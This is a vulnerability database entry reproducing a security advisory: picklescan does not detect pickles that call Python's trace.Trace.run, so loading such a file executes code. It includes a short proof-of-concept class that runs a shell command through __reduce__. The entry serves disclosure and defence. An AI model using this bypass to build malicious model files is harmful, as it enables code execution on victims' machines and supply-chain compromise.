Browse / Unsafe Model Loading and Supply Chain / CVE-2025-71349
Picklescan has a missing detection when calling built-in python trace.Trace.run
- Class
- Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
- Technique
- Code and command execution
- Affected
- picklescan (PyPI)
- Gets past
- Safe model loader or scanner
- EPSS
- 0.6% chance of exploitation in 30 days
How it works, in short
A pickle that calls trace.Trace.run to run a shell command is not flagged by the scanner, so loading it executes the code. (Our summary, written by a model. The source text is below.)
Details
Summary
Using trace.Trace.run, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to trace.Trace.run function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
class EvilTraceRun:
def __reduce__(self):
from trace import Trace
payload = "__import__('os').system('whoami')"
return Trace.run, (Trace(), payload)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-5qwp-399c-mjwf
- https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114
- https://github.com/mmaitre314/picklescan
Source: GitHub Advisory Database, used under CC BY 4.0.